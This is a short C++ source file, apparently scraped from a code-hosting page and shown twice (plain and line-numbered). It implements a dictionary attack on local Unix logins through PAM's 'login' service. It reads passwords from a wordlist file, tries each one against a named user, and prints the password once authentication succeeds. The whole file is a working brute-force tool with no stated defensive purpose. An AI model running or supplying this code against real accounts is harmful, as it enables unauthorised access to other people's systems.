checkuser/cpp/bruteforce.cpp

#include <iostream>
#include <string>
#include <fstream>
#include "pamwrapper.h"

using namespace std;


class BruteForce : public PamWrapper {
private:
        string pass;
public:
        BruteForce() : PamWrapper("login") {};
        std::string promptEchoOff(string msg);
        std::string promptEchoOn(string msg) {return "asd";};
        void errorMsg(string msg) {};
        void textInfo(string msg) {};
        void setPass(string newpass) {pass = newpass;};
};

string BruteForce::promptEchoOff(string msg)
{
        return pass.c_str();
}

int main(int argc, char *argv[])
{
        if (argc != 3) {
                cout << "usage: " << argv[0] << " <filename> <user>" << endl;
                return 0;
        }

        ifstream passfile( argv[1] );
        if (!passfile ) {
                cerr << "cannot open file " << argv[1] << endl;
                return 1;
        }
        
        BruteForce pam;
        pam.start( argv[2] );
        while (!passfile.eof()) {
                string pass;
                passfile >> pass;
                cout << "trying: " << pass << endl;
                pam.setPass( pass );
        
                if (pam.authenticate() == PAM_SUCCESS) {
                        cout << "success with password = " << pass << endl;
                        break;
                }
        }

        pam.end();
        passfile.close();
        return 0;
}
1	#include <iostream>
2	#include <string>
3	#include <fstream>
4	#include "pamwrapper.h"
5
6	using namespace std;
7
8
9	class BruteForce : public PamWrapper {
10	private:
11	string pass;
12	public:
13	BruteForce() : PamWrapper("login") {};
14	std::string promptEchoOff(string msg);
15	std::string promptEchoOn(string msg) {return "asd";};
16	void errorMsg(string msg) {};
17	void textInfo(string msg) {};
18	void setPass(string newpass) {pass = newpass;};
19	};
20
21	string BruteForce::promptEchoOff(string msg)
22	{
23	return pass.c_str();
24	}
25
26	int main(int argc, char *argv[])
27	{
28	if (argc != 3) {
29	cout << "usage: " << argv[0] << " <filename> <user>" << endl;
30	return 0;
31	}
32
33	ifstream passfile( argv[1] );
34	if (!passfile ) {
35	cerr << "cannot open file " << argv[1] << endl;
36	return 1;
37	}
38
39	BruteForce pam;
40	pam.start( argv[2] );
41	while (!passfile.eof()) {
42	string pass;
43	passfile >> pass;
44	cout << "trying: " << pass << endl;
45	pam.setPass( pass );
46
47	if (pam.authenticate() == PAM_SUCCESS) {
48	cout << "success with password = " << pass << endl;
49	break;
50	}
51	}
52
53	pam.end();
54	passfile.close();
55	return 0;
56	}